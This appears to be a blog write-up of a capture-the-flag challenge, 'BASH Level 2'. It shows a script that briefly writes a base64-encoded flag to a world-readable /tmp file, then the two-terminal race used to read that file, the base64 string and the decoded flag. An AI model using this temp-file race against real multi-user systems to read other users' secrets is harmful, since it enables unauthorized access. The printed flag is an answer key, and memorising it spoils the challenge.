BASH Level 2

Table of Contents

As long as you are fast enough…

Problem

#!/bin/bash

x=$RANDOM

base64 flag.txt > /tmp/$x
function finish {
        rm  /tmp/$x
}
trap finish EXIT

sleep 15

Solution

Terminal #1

level2@5a2276bbe718:~$ sudo -u level3 ./random_dirs.sh

Terminal #2

level2@5a2276bbe718:/tmp$ ls
12422  adri  asd.sh  flag.txt  hax.sh  lol.sh  make.txt  o0.sh  rTest  ssh-TL46fB2WXR  test.sh  whoops.txt  woops.txt
level2@5a2276bbe718:/tmp$ cat 12422
YXVjdGZ7ZzB0dEBfbXV2X2Zhczd9Cg==

Then got the flag auctf{g0tt@_muv_fas7}

Nemo Xiong avatar
Nemo Xiong
ex-Cybersecurity Executor, now a student in Unimelb
comments powered by Disqus